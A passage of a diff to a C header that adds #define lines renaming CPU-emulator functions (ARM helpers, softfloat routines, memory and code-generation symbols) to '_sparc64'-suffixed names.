arm_is_secure_below_el3 arm_is_secure_below_el3_sparc64 +#define arm_ldl_code arm_ldl_code_sparc64 +#define arm_lduw_code arm_lduw_code_sparc64 +#define arm_log_exception arm_log_exception_sparc64 +#define arm_reg_read arm_reg_read_sparc64 +#define arm_reg_reset arm_reg_reset_sparc64 +#define arm_reg_write arm_reg_write_sparc64 +#define restore_state_to_opc restore_state_to_opc_sparc64 +#define arm_rmode_to_sf arm_rmode_to_sf_sparc64 +#define arm_singlestep_active arm_singlestep_active_sparc64 +#define tlb_fill tlb_fill_sparc64 +#define tlb_flush tlb_flush_sparc64 +#define tlb_flush_page tlb_flush_page_sparc64 +#define tlb_set_page tlb_set_page_sparc64 +#define arm_translate_init arm_translate_init_sparc64 +#define arm_v7m_class_init arm_v7m_class_init_sparc64 +#define arm_v7m_cpu_do_interrupt arm_v7m_cpu_do_interrupt_sparc64 +#define ats_access ats_access_sparc64 +#define ats_write ats_write_sparc64 +#define bad_mode_switch bad_mode_switch_sparc64 +#define bank_number bank_number_sparc64 +#define bitmap_zero_extend bitmap_zero_extend_sparc64 +#define bp_wp_matches bp_wp_matches_sparc64 +#define breakpoint_invalidate breakpoint_invalidate_sparc64 +#define build_page_bitmap build_page_bitmap_sparc64 +#define bus_add_child bus_add_child_sparc64 +#define bus_class_init bus_class_init_sparc64 +#define bus_info bus_info_sparc64 +#define bus_unparent bus_unparent_sparc64 +#define cache_block_ops_cp_reginfo cache_block_ops_cp_reginfo_sparc64 +#define cache_dirty_status_cp_reginfo cache_dirty_status_cp_reginfo_sparc64 +#define cache_test_clean_cp_reginfo cache_test_clean_cp_reginfo_sparc64 +#define call_recip_estimate call_recip_estimate_sparc64 +#define can_merge can_merge_sparc64 +#define capacity_increase capacity_increase_sparc64 +#define ccsidr_read ccsidr_read_sparc64 +#define check_ap check_ap_sparc64 +#define check_breakpoints check_breakpoints_sparc64 +#define check_watchpoints check_watchpoints_sparc64 +#define cho cho_sparc64 +#define clear_bit clear_bit_sparc64 +#define clz32 clz32_sparc64 +#define clz64 clz64_sparc64 +#define cmp_flatrange_addr cmp_flatrange_addr_sparc64 +#define code_gen_alloc code_gen_alloc_sparc64 +#define commonNaNToFloat128 commonNaNToFloat128_sparc64 +#define commonNaNToFloat16 commonNaNToFloat16_sparc64 +#define commonNaNToFloat32 commonNaNToFloat32_sparc64 +#define commonNaNToFloat64 commonNaNToFloat64_sparc64 +#define commonNaNToFloatx80 commonNaNToFloatx80_sparc64 +#define compute_abs_deadline compute_abs_deadline_sparc64 +#define cond_name cond_name_sparc64 +#define configure_accelerator configure_accelerator_sparc64 +#define container_get container_get_sparc64 +#define container_info container_info_sparc64 +#define container_register_types container_register_types_sparc64 +#define contextidr_write contextidr_write_sparc64 +#define core_log_global_start core_log_global_start_sparc64 +#define core_log_global_stop core_log_global_stop_sparc64 +#define core_memory_listener core_memory_listener_sparc64 +#define cortexa15_cp_reginfo cortexa15_cp_reginfo_sparc64 +#define cortex_a15_initfn cortex_a15_initfn_sparc64 +#define cortexa8_cp_reginfo cortexa8_cp_reginfo_sparc64 +#define cortex_a8_initfn cortex_a8_initfn_sparc64 +#define cortexa9_cp_reginfo cortexa9_cp_reginfo_sparc64 +#define cortex_a9_initfn cortex_a9_initfn_sparc64 +#define cortex_m3_initfn cortex_m3_initfn_sparc64 +#define count_cpreg count_cpreg_sparc64 +#define countLeadingZeros32 countLeadingZeros32_sparc64 +#define countLeadingZeros64 countLeadingZeros64_sparc64 +#define cp_access_ok cp_access_ok_sparc64 +#define cpacr_write cpacr_write_sparc64 +#define cpreg_field_is_64bit cpreg_field_is_64bit_sparc64 +#define cp_reginfo cp_reginfo_sparc64 +#define cpreg_key_compare cpreg_key_compare_sparc64 +#define cpreg_make_keylist cpreg_make_keylist_sparc64 +#define cp_reg_reset cp_reg_reset_sparc64 +#define cpreg_to_kvm_id cpreg_to_kvm_id_sparc64 +#define cpsr_read cpsr_read_sparc64 +#define cpsr_write cpsr_write_sparc64 +#define cptype_valid cptype_valid_sparc64 +#define cpu_abort cpu_abort_sparc64 +#define cpu_arm_exec cpu_arm_exec_sparc64 +#define cpu_arm_gen_code cpu_arm_gen_code_sparc64 +#define cpu_arm_init cpu_arm_init_sparc64 +#define cpu_breakpoint_insert cpu_breakpoint_insert_sparc64 +#define cpu_breakpoint_remove cpu_breakpoint_remove_sparc64 +#define cpu_breakpoint_remove_all cpu_breakpoint_remove_all_sparc64 +#define cpu_breakpoint_remove_by_ref cpu_breakpoint_remove_by_ref_sparc64 +#define cpu_can_do_io cpu_can_do_io_sparc64 +#define cpu_can_run cpu_can_run_sparc64 +#define cpu_class_init cpu_class_init_sparc64 +#define cpu_common_class_by_name cpu_common_class_by_name_sparc64 +#define cpu_common_exec_interrupt cpu_common_exec_interrupt_sparc64 +#define cpu_common_get_arch_id cpu_common_get_arch_id_sparc64 +#define cpu_common_get_memory_mapping cpu_common_get_memory_mapping_sparc64 +#define cpu_common_get_paging_enabled cpu_common_get_paging_enabled_sparc64 +#define cpu_common_has_work cpu_common_has_work_sparc64 +#define cpu_common_initfn cpu_common_initfn_sparc64 +#define cpu_common_noop cpu_common_noop_sparc64 +#define cpu_common_parse_features cpu_common_parse_features_sparc64 +#define cpu_common_realizefn cpu_common_realizefn_sparc64 +#define cpu_common_reset cpu_common_reset_sparc64 +#define cpu_dump_statistics cpu_dump_statistics_sparc64 +#define cpu_exec_init cpu_exec_init_sparc64 +#define cpu_flush_icache_range cpu_flush_icache_range_sparc64 +#define cpu_gen_init cpu_gen_init_sparc64 +#define cpu_get_clock cpu_get_clock_sparc64 +#define cpu_get_real_ticks cpu_get_real_ticks_sparc64 +#define cpu_get_tb_cpu_state cpu_get_tb_cpu_state_sparc64 +#define cpu_handle_debug_exception cpu_handle_debug_exception_sparc64 +#define cpu_handle_guest_debug cpu_handle_guest_debug_sparc64 +#define cpu_inb cpu_inb_sparc64 +#define cpu_inl cpu_inl_sparc64 +#define cpu_interrupt cpu_interrupt_sparc64 +#define cpu_interrupt_handler cpu_interrupt_handler_sparc64 +#define cpu_inw cpu_inw_sparc64 +#define cpu_io_recompile cpu_io_recompile_sparc64 +#define cpu_is_stopped cpu_is_stopped_sparc64 +#define cpu_ldl_code cpu_ldl_code_sparc64 +#define cpu_ldub_code cpu_ldub_code_sparc64 +#define cpu_lduw_code cpu_lduw_code_sparc64 +#define cpu_memory_rw_debug cpu_memory_rw_debug_sparc64 +#define cpu_mmu_index cpu_mmu_index_sparc64 +#define cpu_outb cpu_outb_sparc64 +#define cpu_outl cpu_outl_sparc64 +#define cpu_outw cpu_outw_sparc64 +#define cpu_physical_memory_clear_dirty_range cpu_physical_memory_clear_dirty_range_sparc64 +#define cpu_physical_memory_get_clean cpu_physical_memory_get_clean_sparc64 +#define cpu_physical_memory_get_dirty cpu_physical_memory_get_dirty_sparc64 +#define cpu_physical_memory_get_dirty_flag cpu_physical_memory_get_dirty_flag_sparc64 +#define cpu_physical_memory_is_clean cpu_physical_memory_is_clean_sparc64 +#define cpu_physical_memory_is_io cpu_physical_memory_is_io_sparc64 +#define cpu_physical_memory_map cpu_physical_memory_map_sparc64 +#define cpu_physical_memory_range_includes_clean cpu_physical_memory_range_includes_clean_sparc64 +#define cpu_physical_memory_reset_dirty cpu_physical_memory_reset_dirty_sparc64 +#define cpu_physical_memory_rw cpu_physical_memory_rw_sparc64 +#define cpu_physical_memory_set_dirty_flag cpu_physical_memory_set_dirty_flag_sparc64 +#define cpu_physical_memory_set_dirty_range cpu_physical_memory_set_dirty_range_sparc64 +#define cpu_physical_memory_unmap cpu_physical_memory_unmap_sparc64 +#define cpu_physical_memory_write_rom cpu_physical_memory_write_rom_sparc64 +#define cpu_physical_memory_write_rom_internal cpu_physical_memory_write_rom_internal_sparc64 +#define cpu_register cpu_register_sparc64 +#define cpu_register_types cpu_register_types_sparc64 +#define cpu_restore_state cpu_restore_state_sparc64 +#define cpu_restore_state_from_tb cpu_restore_state_from_tb_sparc64 +#define cpu_single_step cpu_single_step_sparc64 +#define cpu_tb_exec cpu_tb_exec_sparc64 +#define cpu_tlb_reset_dirty_all cpu_tlb_reset_dirty_all_sparc64 +#define cpu_to_be64 cpu_to_be64_sparc64 +#define cpu_to_le32 cpu_to_le32_sparc64 +#define cpu_to_le64 cpu_to_le64_sparc64 +#define cpu_type_info cpu_type_info_sparc64 +#define cpu_unassigned_access cpu_unassigned_access_sparc64 +#define cpu_watchpoint_address_matches cpu_watchpoint_address_matches_sparc64 +#define cpu_watchpoint_insert cpu_watchpoint_insert_sparc64 +#define cpu_watchpoint_remove cpu_watchpoint_remove_sparc64 +#define cpu_watchpoint_remove_all cpu_watchpoint_remove_all_sparc64 +#define cpu_watchpoint_remove_by_ref cpu_watchpoint_remove_by_ref_sparc64 +#define crc32c_table crc32c_table_sparc64 +#define create_new_memory_mapping create_new_memory_mapping_sparc64 +#define csselr_write csselr_write_sparc64 +#define cto32 cto32_sparc64 +#define ctr_el0_access ctr_el0_access_sparc64 +#define ctz32 ctz32_sparc64 +#define ctz64 ctz64_sparc64 +#define dacr_write dacr_write_sparc64 +#define dbgbcr_write dbgbcr_write_sparc64 +#define dbgbvr_write dbgbvr_write_sparc64 +#define dbgwcr_write dbgwcr_write_sparc64 +#define dbgwvr_write dbgwvr_write_sparc64 +#define debug_cp_reginfo debug_cp_reginfo_sparc64 +#define debug_frame debug_frame_sparc64 +#define debug_lpae_cp_reginfo debug_lpae_cp_reginfo_sparc64 +#define define_arm_cp_regs define_arm_cp_regs_sparc64 +#define define_arm_cp_regs_with_opaque define_arm_cp_regs_with_opaque_sparc64 +#define define_debug_regs define_debug_regs_sparc64 +#define define_one_arm_cp_reg define_one_arm_cp_reg_sparc64 +#define define_one_arm_cp_reg_with_opaque define_one_arm_cp_reg_with_opaque_sparc64 +#define deposit32 deposit32_sparc64 +#define deposit64 deposit64_sparc64 +#define deregister_tm_clones deregister_tm_clones_sparc64 +#define device_class_base_init device_class_base_init_sparc64 +#define device_class_init device_class_init_sparc64 +#define device_finalize device_finalize_sparc64 +#define device_get_realized device_get_realized_sparc64 +#define device_initfn device_initfn_sparc64 +#define device_post_init device_post_init_sparc64 +#define device_reset device_reset_sparc64 +#define device_set_realized device_set_realized_sparc64 +#define device_type_info device_type_info_sparc64 +#define disas_arm_insn disas_arm_insn_sparc64 +#define disas_coproc_insn disas_coproc_insn_sparc64 +#define disas_dsp_insn disas_dsp_insn_sparc64 +#define disas_iwmmxt_insn disas_iwmmxt_insn_sparc64 +#define disas_neon_data_insn disas_neon_data_insn_sparc64 +#define disas_neon_ls_insn disas_neon_ls_insn_sparc64 +#define disas_thumb2_insn disas_thumb2_insn_sparc64 +#define disas_thumb_insn disas_thumb_insn_sparc64 +#define disas_vfp_insn disas_vfp_insn_sparc64 +#define disas_vfp_v8_insn disas_vfp_v8_insn_sparc64 +#define do_arm_semihosting do_arm_semihosting_sparc64 +#define do_clz16 do_clz16_sparc64 +#define do_clz8 do_clz8_sparc64 +#define do_constant_folding do_constant_folding_sparc64 +#define do_constant_folding_2 do_constant_folding_2_sparc64 +#define do_constant_folding_cond do_constant_folding_cond_sparc64 +#define do_constant_folding_cond2 do_constant_folding_cond2_sparc64 +#define do_constant_folding_cond_32 do_constant_folding_cond_32_sparc64 +#define do_constant_folding_cond_64 do_constant_folding_cond_64_sparc64 +#define do_constant_folding_cond_eq do_constant_folding_cond_eq_sparc64 +#define do_fcvt_f16_to_f32 do_fcvt_f16_to_f32_sparc64 +#define do_fcvt_f32_to_f16 do_fcvt_f32_to_f16_sparc64 +#define do_ssat do_ssat_sparc64 +#define do_usad do_usad_sparc64 +#define do_usat do_usat_sparc64 +#define do_v7m_exception_exit do_v7m_exception_exit_sparc64 +#define dummy_c15_cp_reginfo dummy_c15_cp_reginfo_sparc64 +#define dummy_func dummy_func_sparc64 +#define dummy_section dummy_section_sparc64 +#define _DYNAMIC _DYNAMIC_sparc64 +#define _edata _edata_sparc64 +#define _end _end_sparc64 +#define end_list end_list_sparc64 +#define eq128 eq128_sparc64 +#define ErrorClass_lookup ErrorClass_lookup_sparc64 +#define error_copy error_copy_sparc64 +#define error_exit error_exit_sparc64 +#define error_get_class error_get_class_sparc64 +#define error_get_pretty error_get_pretty_sparc64 +#define error_setg_file_open error_setg_file_open_sparc64 +#define estimateDiv128To64 estimateDiv128To64_sparc64 +#define estimateSqrt32 estimateSqrt32_sparc64 +#define excnames excnames_sparc64 +#define excp_is_internal excp_is_internal_sparc64 +#define extended_addresses_enabled extended_addresses_enabled_sparc64 +#define extended_mpu_ap_bits extended_mpu_ap_bits_sparc64 +#define extract32 extract32_sparc64 +#define extract64 extract64_sparc64 +#define extractFloat128Exp extractFloat128Exp_sparc64 +#define extractFloat128Frac0 extractFloat128Frac0_sparc64 +#define extractFloat128Frac1 extractFloat128Frac1_sparc64 +#define extractFloat128Sign extractFloat128Sign_sparc64 +#define extractFloat16Exp extractFloat16Exp_sparc64 +#define extractFloat16Frac extractFloat16Frac_sparc64 +#define extractFloat16Sign extractFloat16Sign_sparc64 +#define extractFloat32Exp extractFloat32Exp_sparc64 +#define extractFloat32Frac extractFloat32Frac_sparc64 +#define extractFloat32Sign extractFloat32Sign_sparc64 +#define extractFloat64Exp extractFloat64Exp_sparc64 +#define extractFloat64Frac extractFloat64Frac_sparc64 +#define extractFloat64Sign extractFloat64Sign_sparc64 +#define extractFloatx80Exp extractFloatx80Exp_sparc64 +#define extractFloatx80Frac extractFloatx80Frac_sparc64 +#define extractFloatx80Sign extractFloatx80Sign_sparc64 +#define fcse_write fcse_write_sparc64 +#define find_better_copy find_better_copy_sparc64 +#define find_default_machine find_default_machine_sparc64 +#define find_desc_by_name find_desc_by_name_sparc64 +#define find_first_bit find_first_bit_sparc64 +#define find_paging_enabled_cpu find_paging_enabled_cpu_sparc64 +#define find_ram_block find_ram_block_sparc64 +#define find_ram_offset find_ram_offset_sparc64 +#define find_string find_string_sparc64 +#define find_type find_type_sparc64 +#define _fini _fini_sparc64 +#define flatrange_equal flatrange_equal_sparc64 +#define flatview_destroy flatview_destroy_sparc64 +#define flatview_init flatview_init_sparc64 +#define flatview_insert flatview_insert_sparc64 +#define flatview_lookup flatview_lookup_sparc64 +#define flatview_ref flatview_ref_sparc64 +#define flatview_simplify flatview_simplify_sparc64 +#define flatview_unref flatview_unref_sparc64 +#define float128_add float128_add_sparc64 +#define float128_compare float128_compare_sparc64 +#define float128_compare_internal float128_compare_internal_sparc64 +#define float128_compare_quiet float128_compare_quiet_sparc64 +#define float128_default_nan float128_default_nan_sparc64 +#define float128_div float128_div_sparc64 +#define float128_eq float128_eq_sparc64 +#define float128_eq_quiet float128_eq_quiet_sparc64 +#define float128_is_quiet_nan float128_is_quiet_nan_sparc64 +#define float128_is_signaling_nan float128_is_signaling_nan_sparc64 +#define float128_le float128_le_sparc64 +#define float128_le_quiet float128_le_quiet_sparc64 +#define float128_lt float128_lt_sparc64 +#define float128_lt_quiet float128_lt_quiet_sparc64 +#define float128_maybe_silence_nan float128_maybe_silence_nan_sparc64 +#define float128_mul float128_mul_sparc64 +#define float128_rem float128_rem_sparc64 +#define float128_round_to_int float128_round_to_int_sparc64 +#define float128_scalbn float128_scalbn_sparc64 +#define float128_sqrt float128_sqrt_sparc64 +#define float128_sub float128_sub_sparc64 +#define float128ToCommonNaN float128ToCommonNaN_sparc64 +#define float128_to_float32 float128_to_float32_sparc64 +#define float128_to_float64 float128_to_float64_sparc64 +#define float128_to_floatx80 float128_to_floatx80_sparc64 +#define float128_to_int32 float128_to_int32_sparc64 +#define float128_to_int32_round_to_zero float128_to_int32_round_to_zero_sparc64 +#define float128_to_int64 float128_to_int64_sparc64 +#define float128_to_int64_round_to_zero float128_to_int64_round_to_zero_sparc64 +#define float128_unordered float128_unordered_sparc64 +#define float128_unordered_quiet float128_unordered_quiet_sparc64 +#define float16_default_nan float16_default_nan_sparc64 +#define float16_is_quiet_nan float16_is_quiet_nan_sparc64 +#define float16_is_signaling_nan float16_is_signaling_nan_sparc64 +#define float16_maybe_silence_nan float16_maybe_silence_nan_sparc64 +#define float16ToCommonNaN float16ToCommonNaN_sparc64 +#define float16_to_float32 float16_to_float32_sparc64 +#define float16_to_float64 float16_to_float64_sparc64 +#define float32_abs float32_abs_sparc64 +#define float32_add float32_add_sparc64 +#define float32_chs float32_chs_sparc64 +#define float32_compare float32_compare_sparc64 +#define float32_compare_internal float32_compare_internal_sparc64 +#define float32_compare_quiet float32_compare_quiet_sparc64 +#define float32_default_nan float32_default_nan_sparc64 +#define float32_div float32_div_sparc64 +#define float32_eq float32_eq_sparc64 +#define float32_eq_quiet float32_eq_quiet_sparc64 +#define float32_exp2 float32_exp2_sparc64 +#define float32_exp2_coefficients float32_exp2_coefficients_sparc64 +#define float32_is_any_nan float32_is_any_nan_sparc64 +#define float32_is_infinity float32_is_infinity_sparc64 +#define float32_is_neg float32_is_neg_sparc64 +#define float32_is_quiet_nan float32_is_quiet_nan_sparc64 +#define float32_is_signaling_nan float32_is_signaling_nan_sparc64 +#define float32_is_zero float32_is_zero_sparc64 +#define float32_is_zero_or_denormal float32_is_zero_or_denormal_sparc64 +#define float32_le float32_le_sparc64 +#define float32_le_quiet float32_le_quiet_sparc64 +#define float32_log2 float32_log2_sparc64 +#define float32_lt float32_lt_sparc64 +#define float32_lt_quiet float32_lt_quiet_sparc64 +#define float32_max float32_max_sparc64 +#define float32_maxnum float32_maxnum_sparc64 +#define float32_maxnummag float32_maxnummag_sparc64 +#define float32_maybe_silence_nan float32_maybe_silence_nan_sparc64 +#define float32_min float32_min_sparc64 +#define float32_minmax float32_minmax_sparc64 +#define float32_minnum float32_minnum_sparc64 +#define float32_minnummag float32_minnummag_sparc64 +#define float32_mul float32_mul_sparc64 +#define float32_muladd float32_muladd_sparc64 +#define float32_rem float32_rem_sparc64 +#define float32_round_to_int float32_round_to_int_sparc64 +#define float32_scalbn float32_scalbn_sparc64 +#define float32_set_sign float32_set_sign_sparc64 +#define float32_sqrt float32_sqrt_sparc64 +#define float32_squash_input_denormal float32_squash_input_denormal_sparc64 +#define float32_sub float32_sub_sparc64 +#define float32ToCommonNaN float32ToCommonNaN_sparc64 +#define float32_to_float128 float32_to_float128_sparc64 +#define float32_to_float16 float32_to_float16_sparc64 +#define float32_to_float64 float32_to_float64_sparc64 +#define float32_to_floatx80 float32_to_floatx80_sparc64 +#define float32_to_int16 float32_to_int16_sparc64 +#define float32_to_int16_round_to_zero float32_to_int16_round_to_zero_sparc64 +#define float32_to_int32 float32_to_int32_sparc64 +#define float32_to_int32_round_to_zero float32_to_int32_round_to_zero_sparc64 +#define float32_to_int64 float32_to_int64_sparc64 +#define float32_to_int64_round_to_zero float32_to_int64_round_to_zero_sparc64 +#define float32_to_uint16 float32_to_uint16_sparc64 +#define float32_to_uint16_round_to_zero float32_to_uint16_round_to_zero_sparc64 +#define float32_to_uint32 float32_to_uint32_sparc64 +#define float32_to_uint32_round_to_zero float32_to_uint32_round_to_zero_sparc64 +#define float32_to_uint64 float32_to_uint64_sparc64 +#define float32_to_uint64_round_to_zero float32_to_uint64_round_to_zero_sparc64 +#define float32_unordered float32_unordered_sparc64 +#define float32_unordered_quiet float32_unordered_quiet_sparc64 +#define float64_abs float64_abs_sparc64 +#define float64_add float64_add_sparc64 +#define float64_chs float64_chs_sparc64 +#define float64_compare float64_compare_sparc64 +#define float64_compare_internal float64_compare_internal_sparc64 +#define float64_compare_quiet float64_compare_quiet_sparc64 +#define float64_default_nan float64_default_nan_sparc64 +#define float64_div float64_div_sparc64 +#define float64_eq float64_eq_sparc64 +#define float64_eq_quiet float64_eq_quiet_sparc64 +#define float64_is_any_nan float64_is_any_nan_sparc64 +#define float64_is_infinity float64_is_infinity_sparc64 +#define float64_is_neg float64_is_neg_sparc64 +#define float64_is_quiet_nan float64_is_quiet_nan_sparc64 +#define float64_is_signaling_nan float64_is_signaling_nan_sparc64 +#define float64_is_zero float64_is_zero_sparc64 +#define float64_le float64_le_sparc64 +#define float64_le_quiet float64_le_quiet_sparc64 +#define float64_log2 float64_log2_sparc64 +#define float64_lt float64_lt_sparc64 +#define float64_lt_quiet float64_lt_quiet_sparc64 +#define float64_max float64_max_sparc64 +#define float64_maxnum float64_maxnum_sparc64 +#define float64_maxnummag float64_maxnummag_sparc64 +#define float64_maybe_silence_nan float64_maybe_silence_nan_sparc64 +#define float64_min float64_min_sparc64 +#define float64_minmax float64_minmax_sparc64 +#define float64_minnum float64_minnum_sparc64 +#define float64_minnummag float64_minnummag_sparc64 +#define float64_mul float64_mul_sparc64 +#define float64_muladd float64_muladd_sparc64 +#define float64_rem float64_rem_sparc64 +#define float64_round_to_int float64_round_to_int_sparc64 +#define float64_scalbn float64_scalbn_sparc64 +#define float64_set_sign float64_set_sign_sparc64 +#define float64_sqrt float64_sqrt_sparc64 +#define float64_squash_input_denormal float64_squash_input_denormal_sparc64 +#define float64_sub float64_sub_sparc64 +#define float64ToCommonNaN float64ToCommonNaN_sparc64 +#define float64_to_float128 float64_to_float128_sparc64 +#define float64_to_float16 float64_to_float16_sparc64 +#define float64_to_float32 float64_to_float32_sparc64 +#define float64_to_floatx80 float64_to_floatx80_sparc64 +#define float64_to_int16 float64_to_int16_sparc64 +#define float64_to_int16_round_to_zero float64_to_int16_round_to_zero_sparc64 +#define float64_to_int32 float64_to_int32_sparc64 +#define float64_to_int32_round_to_zero float64_to_int32_round_to_zero_sparc64 +#define float64_to_int64 float64_to_int64_sparc64 +#define float64_to_int64_round_to_zero float64_to_int64_round_to_zero_sparc64 +#define float64_to_uint16 float64_to_uint16_sparc64 +#define float64_to_uint16_round_to_zero float64_to_uint16_round_to_zero_sparc64 +#define float64_to_uint32 float64_to_uint32_sparc64 +#define float64_to_uint32_round_to_zero float64_to_uint32_round_to_zero_sparc64 +#define float64_to_uint64 float64_to_uint64_sparc64 +#define float64_to_uint64_round_to_zero float64_to_uint64_round_to_zero_sparc64 +#define float64_trunc_to_int float64_trunc_to_int_sparc64 +#define float64_unordered float64_unordered_sparc64 +#define float64_unordered_quiet float64_unordered_quiet_sparc64 +#define float_raise float_raise_sparc64 +#define floatx80_add floatx80_add_sparc64 +#define floatx80_compare floatx80_compare_sparc64 +#define floatx80_compare_internal floatx80_compare_internal_sparc64 +#define floatx80_compare_quiet floatx80_compare_quiet_sparc64 +#define floatx80_default_nan floatx80_default_nan_sparc64 +#define floatx80_div floatx80_div_sparc64 +#define floatx80_eq floatx80_eq_sparc64 +#define floatx80_eq_quiet floatx80_eq_quiet_sparc64 +#define floatx80_is_quiet_nan floatx80_is_quiet_nan_sparc64 +#define floatx80_is_signaling_nan floatx80_is_signaling_nan_sparc64 +#define floatx80_le floatx80_le_sparc64 +#define floatx80_le_quiet floatx80_le_quiet_sparc64 +#define floatx80_lt floatx80_lt_sparc64 +#define floatx80_lt_quiet floatx80_lt_quiet_sparc64 +#define floatx80_maybe_silence_nan floatx80_maybe_silence_nan_sparc64 +#define floatx80_mul floatx80_mul_sparc64 +#define floatx80_rem floatx80_rem_sparc64 +#define floatx80_round_to_int floatx80_round_to_int_sparc64 +#define floatx80_scalbn floatx80_scalbn_sparc64 +#define floatx80_sqrt floatx80_sqrt_sparc64 +#define floatx80_sub floatx80_sub_sparc64 +#define floatx80ToCommonNaN floatx80ToCommonNaN_sparc64 +#define floatx80_to_float128 floatx80_to_float128_sparc64 +#define floatx80_to_float32 floatx80_to_float32_sparc64 +#define floatx80_to_float64 floatx80_to_float64_sparc64 +#define floatx80_to_int32 floatx80_to_int32_sparc64 +#define floatx80_to_int32_round_to_zero floatx80_to_int32_round_to_zero_sparc64 +#define floatx80_to_int64 floatx80_to_int64_sparc64 +#define floatx80_to_int64_round_to_zero floatx80_to_int64_round_to_zero_sparc64 +#define floatx80_unordered floatx80_unordered_sparc64 +#define floatx80_unordered_quiet floatx80_unordered_quiet_sparc64 +#define flush_icache_range flush_icache_range_sparc64 +#define format_string format_string_sparc64 +#define fp_decode_rm fp_decode_rm_sparc64 +#define frame_dummy frame_dummy_sparc64 +#define free_range free_range_sparc64 +#define fstat64 fstat64_sparc64 +#define futex_wait futex_wait_sparc64 +#define futex_wake futex_wake_sparc64 +#define gen_aa32_ld16s gen_aa32_ld16s_sparc64 +#define gen_aa32_ld16u gen_aa32_ld16u_sparc64 +#define gen_aa32_ld32u gen_aa32_ld32u_sparc64 +#define gen_aa32_ld64 gen_aa32_ld64_sparc64 +#define gen_aa32_ld8s gen_aa32_ld8s_sparc64 +#define gen_aa32_ld8u gen_aa32_ld8u_sparc64 +#define gen_aa32_st16 gen_aa32_st16_sparc64 +#define gen_aa32_st32 gen_aa32_st32_sparc64 +#define gen_aa32_st64 gen_aa32_st64_sparc64 +#define gen_aa32_st8 gen_aa32_st8_sparc64 +#define gen_adc gen_adc_sparc64 +#define gen_adc_CC gen_adc_CC_sparc64 +#define gen_add16 gen_add16_sparc64 +#define gen_add_carry gen_add_carry_sparc64 +#define gen_add_CC gen_add_CC_sparc64 +#define gen_add_datah_offset gen_add_datah_offset_sparc64 +#define gen_add_data_offset gen_add_data_offset_sparc64 +#define gen_addq gen_addq_sparc64 +#define gen_addq_lo gen_addq_lo_sparc64 +#define gen_addq_msw gen_addq_msw_sparc64 +#define gen_arm_parallel_addsub gen_arm_parallel_addsub_sparc64 +#define gen_arm_shift_im gen_arm_shift_im_sparc64 +#define gen_arm_shift_reg gen_arm_shift_reg_sparc64 +#define gen_bx gen_bx_sparc64 +#define gen_bx_im gen_bx_im_sparc64 +#define gen_clrex gen_clrex_sparc64 +#define generate_memory_topology generate_memory_topology_sparc64 +#define generic_timer_cp_reginfo generic_timer_cp_reginfo_sparc64 +#define gen_exception gen_exception_sparc64 +#define gen_exception_insn gen_exception_insn_sparc64 +#define gen_exception_internal gen_exception_internal_sparc64 +#define gen_exception_internal_insn gen_exception_internal_insn_sparc64 +#define gen_exception_return gen_exception_return_sparc64 +#define gen_goto_tb gen_goto_tb_sparc64 +#define gen_helper_access_check_cp_reg gen_helper_access_check_cp_reg_sparc64 +#define gen_helper_add_saturate gen_helper_add_saturate_sparc64 +#define gen_helper_add_setq gen_helper_add_setq_sparc64 +#define gen_helper_clear_pstate_ss gen_helper_clear_pstate_ss_sparc64 +#define gen_helper_clz32 gen_helper_clz32_sparc64 +#define gen_helper_clz64 gen_helper_clz64_sparc64 +#define gen_helper_clz_arm gen_helper_clz_arm_sparc64 +#define gen_helper_cpsr_read gen_helper_cpsr_read_sparc64 +#define gen_helper_cpsr_write gen_helper_cpsr_write_sparc64 +#define gen_helper_crc32_arm gen_helper_crc32_arm_sparc64 +#define gen_helper_crc32c gen_helper_crc32c_sparc64 +#define gen_helper_crypto_aese gen_helper_crypto_aese_sparc64 +#define gen_helper_crypto_aesmc gen_helper_crypto_aesmc_sparc64 +#define gen_helper_crypto_sha1_3reg gen_helper_crypto_sha1_3reg_sparc64 +#define gen_helper_crypto_sha1h gen_helper_crypto_sha1h_sparc64 +#define gen_helper_crypto_sha1su1 gen_helper_crypto_sha1su1_sparc64 +#define gen_helper_crypto_sha256h gen_helper_crypto_sha256h_sparc64 +#define gen_helper_crypto_sha256h2 gen_helper_crypto_sha256h2_sparc64 +#define gen_helper_crypto_sha256su0 gen_helper_crypto_sha256su0_sparc64 +#define gen_helper_crypto_sha256su1 gen_helper_crypto_sha256su1_sparc64 +#define gen_helper_double_saturate gen_helper_double_saturate_sparc64 +#define gen_helper_exception_internal gen_helper_exception_internal_sparc64 +#define gen_helper_exception_with_syndrome gen_helper_exception_with_syndrome_sparc64 +#define gen_helper_get_cp_reg gen_helper_get_cp_reg_sparc64 +#define gen_helper_get_cp_reg64 gen_helper_get_cp_reg64_sparc64 +#define gen_helper_get_r13_banked gen_helper_get_r13_banked_sparc64 +#define gen_helper_get_user_reg gen_helper_get_user_reg_sparc64 +#define gen_helper_iwmmxt_addcb gen_helper_iwmmxt_addcb_sparc64 +#define gen_helper_iwmmxt_addcl gen_helper_iwmmxt_addcl_sparc64 +#define gen_helper_iwmmxt_addcw gen_helper_iwmmxt_addcw_sparc64 +#define gen_helper_iwmmxt_addnb gen_helper_iwmmxt_addnb_sparc64 +#define gen_helper_iwmmxt_addnl gen_helper_iwmmxt_addnl_sparc64 +#define gen_helper_iwmmxt_addnw gen_helper_iwmmxt_addnw_sparc64 +#define gen_helper_iwmmxt_addsb gen_helper_iwmmxt_addsb_sparc64 +#define gen_helper_iwmmxt_addsl gen_helper_iwmmxt_addsl_sparc64 +#define gen_helper_iwmmxt_addsw gen_helper_iwmmxt_addsw_sparc64 +#define gen_helper_iwmmxt_addub gen_helper_iwmmxt_addub_sparc64 +#define gen_helper_iwmmxt_addul gen_helper_iwmmxt_addul_sparc64 +#define gen_helper_iwmmxt_adduw gen_helper_iwmmxt_adduw_sparc64 +#define gen_helper_iwmmxt_align gen_helper_iwmmxt_align_sparc64 +#define gen_helper_iwmmxt_avgb0 gen_helper_iwmmxt_avgb0_sparc64 +#define gen_helper_iwmmxt_avgb1 gen_helper_iwmmxt_avgb1_sparc64 +#define gen_helper_iwmmxt_avgw0 gen_helper_iwmmxt_avgw0_sparc64 +#define gen_helper_iwmmxt_avgw1 gen_helper_iwmmxt_avgw1_sparc64 +#define gen_helper_iwmmxt_bcstb gen_helper_iwmmxt_bcstb_sparc64 +#define gen_helper_iwmmxt_bcstl gen_helper_iwmmxt_bcstl_sparc64 +#define gen_helper_iwmmxt_bcstw gen_helper_iwmmxt_bcstw_sparc64 +#define gen_helper_iwmmxt_cmpeqb gen_helper_iwmmxt_cmpeqb_sparc64 +#define gen_helper_iwmmxt_cmpeql gen_helper_iwmmxt_cmpeql_sparc64 +#define gen_helper_iwmmxt_cmpeqw 